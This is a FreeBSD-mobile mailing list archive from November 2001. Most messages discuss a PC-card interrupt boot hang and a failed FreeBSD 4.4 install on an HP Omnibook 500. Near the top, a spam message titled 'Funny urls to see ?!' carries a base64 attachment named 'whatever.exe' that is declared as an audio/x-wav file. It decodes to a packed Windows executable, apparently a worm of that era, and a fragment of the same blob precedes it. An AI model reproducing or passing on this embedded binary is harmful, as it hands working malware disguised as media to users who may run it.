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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ADVq= --bound-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Fri Nov 23 1:20:45 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from peony.ezo.net (peony.ezo.net [206.102.130.11]) by hub.freebsd.org (Postfix) with ESMTP id D7C7C37B636 for ; Fri, 23 Nov 2001 01:19:20 -0800 (PST) Received: from localhost (c3-1a119.neo.rr.com [24.93.230.119]) by peony.ezo.net (8.11.0.Beta3/8.11.0.Beta3) with SMTP id fAN9Qn630375 for mobile@FreeBSD.ORG; Fri, 23 Nov 2001 04:26:49 -0500 (EST) Message-Id: <200111230926.fAN9Qn630375@peony.ezo.net> From: jflowers@ezo.net To: mobile@FreeBSD.ORG Subject: Funny urls to see ?! Date: Fri,23 Nov 2001 04:20:00 -0000 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="bound" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5. Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org This is a multi-part message in MIME format. --bound Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable peace --bound Content-Type: audio/x-wav; name="whatever.exe" Content-Transfer-Encoding: base64 Content-ID: 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ADVq= --bound-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Fri Nov 23 8:56: 4 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from slarti.muc.de (slarti.muc.de [193.149.48.10]) by hub.freebsd.org (Postfix) with SMTP id 4947F37B416 for ; Fri, 23 Nov 2001 08:56:01 -0800 (PST) Received: (qmail 9304 invoked from network); 23 Nov 2001 16:56:43 -0000 Received: from jhs.muc.de (193.149.49.84) by slarti.muc.de with SMTP; 23 Nov 2001 16:56:43 -0000 Received: from park.jhs.private (localhost [127.0.0.1]) by jhs.muc.de (8.11.0/8.11.0) with ESMTP id fANGwrA58206; Fri, 23 Nov 2001 16:58:53 GMT (envelope-from jhs@park.jhs.private) Message-Id: <200111231658.fANGwrA58206@jhs.muc.de> To: Warner Losh Cc: mobile@FreeBSD.ORG Subject: Re: 4.4 boot hang pci_cfgintr_linked: linked (60) to hard routed irq 10 In-Reply-To: Message from Warner Losh of "Thu, 22 Nov 2001 18:43:06 MST." <200111230143.fAN1h6721052@harmony.village.org> Date: Fri, 23 Nov 2001 17:58:52 +0100 From: "Julian Stacey Jhs@jhs.muc.de" Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Warner Losh wrote: > Thanks for the nice long report. > > Try hw.pcic.intr_route=1 > > This tells it not to use PCI interrupts. Thanks Warner, It didnt help unfortunately, I guess I need more help &/or pointer[s] to dive into right part of handbook or faq to learn more than I want to know about pcmcia :-) I dont know how to gdb kernel, may need to learn. May have to do a remote serial too I guess to capture stuff. Right now only simple idea is to go hunt the "pci_cfgintr_linked" printf & start reading ... Gulp ! Julian J.Stacey Munich Unix (FreeBSD, Linux etc) Independent Consultant Reduce costs to secure jobs: Use free software: http://bim.bsn.com/~jhs/free/ Ihr Rauchen = mein allergischer Kopfschmerz ! Schnupftabak probieren ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Fri Nov 23 14:32:16 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from gvr.gvr.org (gvr.gvr.org [212.61.40.17]) by hub.freebsd.org (Postfix) with ESMTP id 1164937B416 for ; Fri, 23 Nov 2001 14:32:13 -0800 (PST) Received: by gvr.gvr.org (Postfix, from userid 657) id 56EB65874; Fri, 23 Nov 2001 23:32:11 +0100 (CET) Date: Fri, 23 Nov 2001 23:32:11 +0100 From: Guido van Rooij To: freebsd-mobile@freebsd.org Subject: fail to install 4.4 on omnibook 500 Message-ID: <20011123233211.A187@gvr.gvr.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org I got an omnibook 500 today but it completely fails to install FreeBSD. I have it with a floppy drive. Booting from kern and mfsroot goes fine, but just after probing ad0, the system kind of hangs. I disabled all unnecessaryy devices and upgraded the BIOS. With 'kind of hangs' I mean that ctrl-alt-del does not work, and also scroll lock will not work (though the scrolllock led is turned on). Ctrl-alt-esc gives the No debugger in kernel message and that is about it. Does anyone recogize this? Anyone has other options? (I do not have a cd or dvd drive with it). -Guido To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Fri Nov 23 14:43:34 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from musubi.org (abunai.musubi.org [64.81.53.11]) by hub.freebsd.org (Postfix) with ESMTP id 30BE137B417 for ; Fri, 23 Nov 2001 14:43:29 -0800 (PST) Received: from musubi.org (localhost [127.0.0.1]) by musubi.org (8.12.1/8.12.1) with ESMTP id fANMhST8098549; Fri, 23 Nov 2001 14:43:28 -0800 (PST)?g (envelope-from jay@musubi.org)œ Received: from localhost (jay@localhost) by musubi.org (8.12.1/8.12.1/Submit) with ESMTP id fANMhSfr098546; Fri, 23 Nov 2001 14:43:28 -0800 (PST)?g (envelope-from jay@musubi.org) Date: Fri, 23 Nov 2001 14:43:28 -0800 (PST) From: jay To: Guido van Rooij Cc: Subject: Re: fail to install 4.4 on omnibook 500 In-Reply-To: <20011123233211.A187@gvr.gvr.org> Message-ID: <20011123143420.K60206-100000@spam.musubi.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org i have an omnibook 500 and that happened to me as well. i dimly remember booting from the 4.3 install disks and in the install options specifying 4.4 as the release to install. =jay On Fri, 23 Nov 2001, Guido van Rooij wrote: > I got an omnibook 500 today but it completely fails to install FreeBSD. > I have it with a floppy drive. Booting from kern and mfsroot goes fine, > but just after probing ad0, the system kind of hangs. > I disabled all unnecessaryy devices and upgraded the BIOS. > > With 'kind of hangs' I mean that ctrl-alt-del does not work, and > also scroll lock will not work (though the scrolllock led is turned on). > Ctrl-alt-esc gives the No debugger in kernel message and that is about it. > > Does anyone recogize this? Anyone has other options? > > (I do not have a cd or dvd drive with it). > > -Guido > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-mobile" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Fri Nov 23 14:58:18 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from odin.ac.hmc.edu (Odin.AC.HMC.Edu [134.173.32.75]) by hub.freebsd.org (Postfix) with ESMTP id B0C3C37B416 for ; Fri, 23 Nov 2001 14:58:15 -0800 (PST) Received: (from brdavis@localhost) by odin.ac.hmc.edu (8.11.0/8.11.0) id fANMvxK11586; Fri, 23 Nov 2001 14:57:59 -0800 Date: Fri, 23 Nov 2001 14:57:59 -0800 From: Brooks Davis To: Guido van Rooij Cc: freebsd-mobile@FreeBSD.ORG Subject: Re: fail to install 4.4 on omnibook 500 Message-ID: <20011123145759.A9650@Odin.AC.HMC.Edu> References: <20011123233211.A187@gvr.gvr.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="mP3DRpeJDSE+ciuQ" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011123233211.A187@gvr.gvr.org>; from guido@gvr.org on Fri, Nov 23, 2001 at 11:32:11PM +0100 Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --mP3DRpeJDSE+ciuQ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Nov 23, 2001 at 11:32:11PM +0100, Guido van Rooij wrote: > I got an omnibook 500 today but it completely fails to install FreeBSD. > I have it with a floppy drive. Booting from kern and mfsroot goes fine, > but just after probing ad0, the system kind of hangs. > I disabled all unnecessaryy devices and upgraded the BIOS. >=20 > With 'kind of hangs' I mean that ctrl-alt-del does not work, and > also scroll lock will not work (though the scrolllock led is turned on). > Ctrl-alt-esc gives the No debugger in kernel message and that is about it. >=20 > Does anyone recogize this? Anyone has other options?=20 There seems to be an odd interaction with the 4.4 keyboard probe and some BIOS versions. If you use the keyboard (say, to select the floppy as a boot device) the system will detect the keyboard. Otherwise, it doesn't and boots to the serial console. I haven't had any problems with current and 4.3 worked as well. I think a BIOS upgrade helped, but I can't remember for sure since current didn't have problems. -- Brooks --=20 Any statement of the form "X is the one, true Y" is FALSE. PGP fingerprint 655D 519C 26A7 82E7 2529 9BF0 5D8E 8BE9 F238 1AD4 --mP3DRpeJDSE+ciuQ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE7/tR2XY6L6fI4GtQRAhvCAJwL4cGvzzP6YQFECimiqL0Kv9aGOACgiqpd wLcLLAkdz9B6U7seYbS6shQ= =pKDc -----END PGP SIGNATURE----- --mP3DRpeJDSE+ciuQ-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Fri Nov 23 15: 5:31 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from gvr.gvr.org (gvr.gvr.org [212.61.40.17]) by hub.freebsd.org (Postfix) with ESMTP id 37E4837B419 for ; Fri, 23 Nov 2001 15:05:29 -0800 (PST) Received: by gvr.gvr.org (Postfix, from userid 657) id EF3C45809; Sat, 24 Nov 2001 00:05:27 +0100 (CET) Date: Sat, 24 Nov 2001 00:05:27 +0100 From: Guido van Rooij To: Brooks Davis Cc: freebsd-mobile@FreeBSD.ORG Subject: Re: fail to install 4.4 on omnibook 500 Message-ID: 